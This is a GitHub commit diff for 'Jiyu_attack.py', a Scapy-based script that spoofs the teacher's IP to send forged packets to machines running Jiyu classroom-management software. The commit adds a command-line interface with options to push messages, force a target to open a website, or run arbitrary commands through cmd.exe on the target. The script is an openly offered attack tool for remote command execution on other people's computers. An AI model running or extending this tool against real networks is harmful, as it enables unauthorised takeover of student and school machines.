Skip to content

Commit 8403e64

Browse files
committed
feat: Add command-line interface for Jiyu Attack script with message, website, and command options
1 parent 45d2635 commit 8403e64

File tree

1 file changed

+26
-9
lines changed

1 file changed

+26
-9
lines changed

Jiyu_attack.py

Lines changed: 26 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
The script uses Scapy for packet manipulation and sending.
88
"""
99

10+
import argparse
1011
import secrets
1112

1213
from typing import Literal, Optional
@@ -138,12 +139,28 @@ def pkg_website(url: str) -> bytes:
138139

139140

140141
if __name__ == "__main__":
141-
teacher_ip = input("Enter the teacher's IP address: ").strip()
142-
target = input("Enter the target IP address: ").strip()
143-
while True:
144-
tmsg = input("Enter your message (empty to exit): ")
145-
if not tmsg:
146-
print("Exiting...")
147-
break
148-
payload = pkg_message(tmsg)
149-
broadcast_packet(teacher_ip, target, 4705, payload)
142+
parser = argparse.ArgumentParser(description="Jiyu Attack Script")
143+
parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address")
144+
parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address")
145+
parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)")
146+
147+
group = parser.add_mutually_exclusive_group(required=True)
148+
group.add_argument("-m", "--message", type=str, help="Message to send")
149+
group.add_argument("-w", "--website", type=str, help="Website URL to ask to open")
150+
group.add_argument("-c", "--command", type=str, help="Command to execute on the target")
151+
152+
args = parser.parse_args()
153+
teacher_ip = args.teacher_ip
154+
target = args.target
155+
port = args.port
156+
if args.message:
157+
payload = pkg_message(args.message)
158+
elif args.website:
159+
payload = pkg_website(args.website)
160+
elif args.command:
161+
payload = pkg_command("cmd.exe", f'/D /C "{args.command}"', "minimize")
162+
else:
163+
raise ValueError("Either message or website must be provided")
164+
165+
broadcast_packet(teacher_ip, target, port, payload)
166+
print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")

0 commit comments

Comments
 (0)